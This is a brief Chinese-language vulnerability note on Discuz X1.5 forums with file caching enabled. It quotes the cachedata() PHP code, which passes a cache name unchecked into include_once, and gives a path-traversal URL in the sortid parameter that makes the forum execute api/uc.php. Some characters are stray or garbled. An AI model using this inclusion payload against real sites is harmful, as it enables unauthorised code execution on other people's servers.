vf条件:DISCUZ X1.5 后台设置中使文件作为缓存(另一种是使用数据库)
漏洞文件:config_global.php
代码:
---------------------------------------------------------------------------------------------------
$_config['cache']['type'] = ‘file’;
function cachedata($cachenames) { …… $isfilecache = getglobal(‘config/cache/type’) == 'file’; …… if($isfilecache) { $lostcaches = array(); foreach($cachenames as $cachename) { if(!@include_once(DISCUZ_ROOT.’./data/cache/cache_’.$cachename.’.php’)) { $lostcaches[] = $cachename; ----------------------------------------------------------------------------------------------------
bbs/forum.php?mod=post&action=threadsorts&sortid=ygjgj/../../../api/uc
执行了 api/uc.php 页面代码了。
|